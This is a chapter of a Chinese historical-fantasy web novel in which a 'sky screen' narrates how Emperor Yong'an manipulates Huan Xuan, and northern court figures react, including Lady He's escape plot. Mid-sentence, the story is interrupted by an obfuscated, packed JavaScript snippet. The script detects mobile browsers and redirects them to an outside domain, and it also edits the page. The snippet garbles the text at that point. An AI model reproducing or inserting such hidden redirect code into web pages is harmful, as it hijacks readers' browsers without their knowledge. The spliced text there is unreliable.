【司马道子沉迷酒色,也没什么临场逃命的本事,在落水后被人抓获,送到了桓玄面前。】 【意气风发的荆州军将领浑然不知,自己已变成了博弈中的一枚最重要的棋子,便将司马道子押解到了皇帝的面前。而后,以救驾股肱之臣的身份,护送皇帝从石头城回到建康。】 【也就是在这场战事结束的次日,永安向桓玄提出了一个建议。】 【永安说,“将军年轻有为,然立足不稳,必有强硬手段方可服众”。既然已经战胜了司马道子,这个强硬的手段,理所当然地用在司马道子的身上。】 【“请列会稽王十宗罪,将其车裂,以儆效尤。”】 【桓玄执行了。】 桓玄闭上了眼睛,也连带着咬紧了牙关。 有先前的那些话,他已不必怀疑此举的目的。 救驾,救的不是司马德宗这个白痴皇帝,而是未来的永安大帝。 车裂司马道子,也不是在给他自己积攒声望,而是在为永安积攒战绩。 偏偏那一个他正处志得意满当中,明明带着效仿先父的宏愿而来,就这样变成了—— 【忠臣,天大的忠臣!】 17. 017 北方的平城内。 拓跋珪当即放肆地笑了出来。 “忠臣,哈哈哈哈哈哈,好一个忠臣!” 一个按照天幕所说,能在拿到衣带诏后、将其朝着更利己方向利用的人,会是个忠臣才怪。 “其性果决,至于狂狡”,也不是一句对合格忠臣的点评。 更不会有人忘记,桓玄的父亲桓温是何等地位,桓玄怎么会甘心裹足不前,重蹈覆辙? 当年的门阀势力,还有谢安等人支撑,如今却正值衰微之时,无论是王珣、王恭、王凝之还是庾楷、谢重、谢琰等人,都难当大任,本是对桓玄来说最好的机会。 也别忘了,皇帝是个傻子! 可他上来便掉进了顺着永安所愿行事的轨道里,直到身死都被视为“永安的忠臣”,听起来就像是个天大的笑话。 不过拓跋珪脸上的笑容也只持续了片刻,就已消隐了下去。 桓玄的表现,不能说是平庸,只能说,他恰好遇上了一个可怕的对手。 光是那句“天街踏尽公卿骨”就不难看出,永安对于天下局势的野心,远比桓玄要大得多。 不,不仅仅是桓玄。 他昔年弱小之时,也曾用过借势而起的办法,但与永安相比,还差了些境界。 更麻烦的是,这甚至不是一个只会权谋的对手。 “天幕说,永安的领兵能力只算中流,你们以为呢?” 下方一个年轻将领左右看了看,见无人应答便先开了口:“以臣看来,眼力在战局中极是重要。” “是啊,眼力……”拓跋珪低声自语,望向天幕的目光中又多出了几分忌惮。 永安指挥兵马的能力如何姑且不论,他先分化了司马道子的兵力,又为桓玄制造了进攻的机会,再给自己选择了一条最合适的退路,在身临绝境的情况下,竟然没有走错半步。 能被他看上的将领,背后有这样一位君主把控方向,何止是相互叠加这么简单。 拓跋珪也毫不怀疑,因为天幕屡次提及了永安对于将领的态度,那么别管世家如何,起码—— 某些刘姓将领对于这位明君的忠心,已在无形之中生长起来了。 这将会是他最有利的保命符。 而对于有心扫平天下的拓跋珪来说,又绝不是一个好消息。 那么他的行动,也不能慢了。 …… 天幕的讲解仍在继续,平城之中就已有了一阵阵脚步匆匆。 贺夫人身在被严格监管的“囚牢”之中也能听到,在距离宫室仅有一步之遥的巷道中,响过了一阵披甲士卒快步走过的动静。 甲胄起落时发出的碰撞,伴随着武器拖拽过地面的声响,紧凑得让人心惊。 “阿娘……”年幼的拓跋绍仰头看向了母亲,恐惧地将手中的衣角攥得更紧了一些。 近来发生的种种,对于一个只有三岁的孩子来说,也确实是太过艰险了。 贺娀深吸了一口气,握住了他的肩膀:“别怕,外头应该是要调兵进攻慕容氏。” 她其实并不能将全盘局势看懂,也看不明白南方众人之间的勾心斗角。 但她知道,那位永安大帝能成为最后的赢家,绝不只是因为运气好而已。 对方的崛起之路不比她此刻的处境好到哪里去,却依然杀出了一条血路,越是盘点详解,带给拓跋珪的压力也就越大。 为了防止南方因为永安大帝过早统一,进入战备状态,拓跋珪向燕国发起进攻的速度,也必须更快。 拓跋珪是精明果断的雄主,制定作战方针向来很快。 他先前处死了慕容氏的俘虏,既安抚了国中上下,也昭告着他不打算和逃亡中的慕容宝虚与委蛇。 既然如此,尽快进攻,就是最好的选择! 她甚至怀疑,拓跋珪会再度御驾亲征,以实际达成的战绩,去对抗天命的预言。 等等,若是如此的话…… 拓跋绍疑惑地瞧见母亲掰开了他的手,快步走到了院子的另一头,以摘下的发钗叩击了三下墙壁。 有外头的士卒走动声作为遮掩,院外戍守的士卒并未留意到这里的动静。 但在院墙另一侧的人,本就紧绷着精神,一听到这异常的响动,即刻腰杆一动,靠向了院墙的这头。 拓跋绍咬着手指,听到院墙的缝隙间,一个声音被压得很轻传了过来。 好像……是刘夫人的声音。 “你寻我有何事?” “你想不想从这里出去?”贺娀同样轻声细语,“继续被大王监视、关押在这里,也不是长久之道。国中之人若知道,阿嗣作为长子遭到了这样的对待,往后于他声望有损。不如想个一劳永逸的办法,解决眼下的困境。” “怎么,你有办法?” 贺夫人的声音清冷,听在刘夫人的耳中,便多了些沉稳,在此时更显动人。 刘夫人自己都没察觉,她的语气里天然有了信赖。 “算不上是办法。但你先前说,阿嗣近来学习儒家经典,尊奉孝悌之道,大王也没打消怀疑之心。为何不试试我的法子。”贺娀徐徐说道。 刘夫人没有即刻回答,但此刻的沉默,已代表了她的某种态度。 贺娀继续说道:“大王若是御驾亲征,平城守卫必然不如先前严紧……” “你想做什么!”刘夫人声音一抬,又飞快地捂住了嘴,后知后觉地想起,自己是在何种处境之下。 “我没想做什么,我也不打算引敌来袭,我只是希望你帮我一把,让我逃离此地。”贺娀轻叹道,“这对你对我都是好事。我想去南方找一条生路,而你……” “我若带着绍儿逃了,你说,天幕提及的谋杀大王之人,到底会是谁呢?或者,这个人是谁,对他来说更有意义?” 剩下两个儿子,拓跋珪还可以杀死慕容夫人,将罪名先归在一个连影子都看不见的孩子身上,再将另外两个儿子关押起来,静待抉择之时。 但若只剩下了一个,他就没有这样的机会了。 拓跋嗣必须在拓跋珪意图扫平北方的征程里,以“继承人”的身份出现在人前。 刘夫人需要做的,只是稍微搭一把手而已。 “我也不需要事事都由你安排,只是要请你兄长帮忙……” “你不必多说了,我帮你!”刘夫人打断了对方的话,又朝着墙壁贴近了一些,用比先前急促的语气问道,“你想什么时候走?” “若是大王出兵讨伐慕容宝之事不假,那就越快越好!” 贺娀靠着院墙,像是一株藏匿在墙根阴影之下的兰花,虚弱得仍旧需要托举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15060487|161537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与依靠,却在日光偏落在院中一角的刹那,自抬起的眼中,流转着一抹坚定的明光。 姐姐已经死了,她并不想步上后尘,所以她和绍儿都必须走! 天幕上的声音,也让她在仓促间做出的决定,再不剩一点犹豫。 …… 【司马道子翻云弄雨,将晋朝的朝纲又败坏了大半,现在也终于迎来了他的恶果。】 【他的兄长司马曜死在了宠妃的手里,总算还留了个全尸,也在先前被以皇帝之礼大葬,定下了“孝武”的谥号。司马道子却是被押上了刑台,以五马分尸之刑给他犯下的种种错误一个交代。】 【但凡攻入建康的人不是桓玄,而是一个比桓玄更为年长稳重的人,或者是一个对晋朝皇室还有一些尊重的人,他都不可能真拿到这个结局。说桓玄是永安大帝的忠臣,一点也不过分。】 【事实上,这位的退场,对于桓玄来说的意义,也远没有对于永安来说的意义大。】 【据说司马道子死时,前来围观的百姓相当多。建康百姓对于皇室统治下的乌烟瘴气早已怨怒多时,终于有了发泄出来的机会。而这份功劳,先被归于提出肃清朝纲建议的永安。】 【会稽王一死,他先前制定的诸多朝堂规章,也可以推翻重来,正是从头划定的好时候。相比于桓玄,永安在这方面的天分高了太多,也就有了继续发展话语权的机会。】 【与此同时,永安还将迎来第三份收获。】 …… 【石头城下两路军队交锋的时候,东南方向的反叛军也迎来了南下的王恭。】 【很可惜,王凝之无法用鬼兵戍守会稽,孙泰也没这个本事用鬼兵壮大势力。】 【在正规军的围剿之下,孙泰的天师道起义遭到了近乎致命的打击。】 【他起先攻破会稽的时候有多顺遂,现在就有多么狼狈。】 【孙泰断了一条臂膀,险些死去。若非孙恩拼死相救,又凭借着天师道早年间用来糊弄人的医术,给他处理好了伤势,他已经死得不能再死。】 【又幸好,在逃亡的路上,他遇上了一支特殊的队伍,为他掩藏了行迹,助力他混迹在难民之中,被一步步转移到了佛寺之内。】 【在这里,孙泰遇到了一个先前见过的人,正是挑起他举兵反叛念头的“书生”姜定。】 二人再度相见。 这大概,是对孙泰来说最尴尬的时候。 【他要是赢了,还有这个资格嘲笑姜定作为一个外来人,根本无权指挥他们天师道。但他输了,还是靠着对方救下了性命,就显得自己格外可笑。】 【然而这位从建康来的书生没有怪责于他,只是很平静地向他伸出了手,发出了一个问题——】 【“你现在愿意,好好听我说话了吗?”】 …… 天幕中显示出了一幅奇异的剪影。 在那“书生”俯身的人影背后,还有着一道模糊的影子,似是遥遥指代着身在建康的永安,也在同时朝着孙泰和孙恩伸出了手。 …… 【毫无疑问,这是一场邀约。】 【那不仅仅是姜定与孙泰的再会面,也是远在建康的永安大帝,在向未来的臣子发问。】 【“你们现在愿意随我一起,掀起颠覆王朝的狂澜吗?”】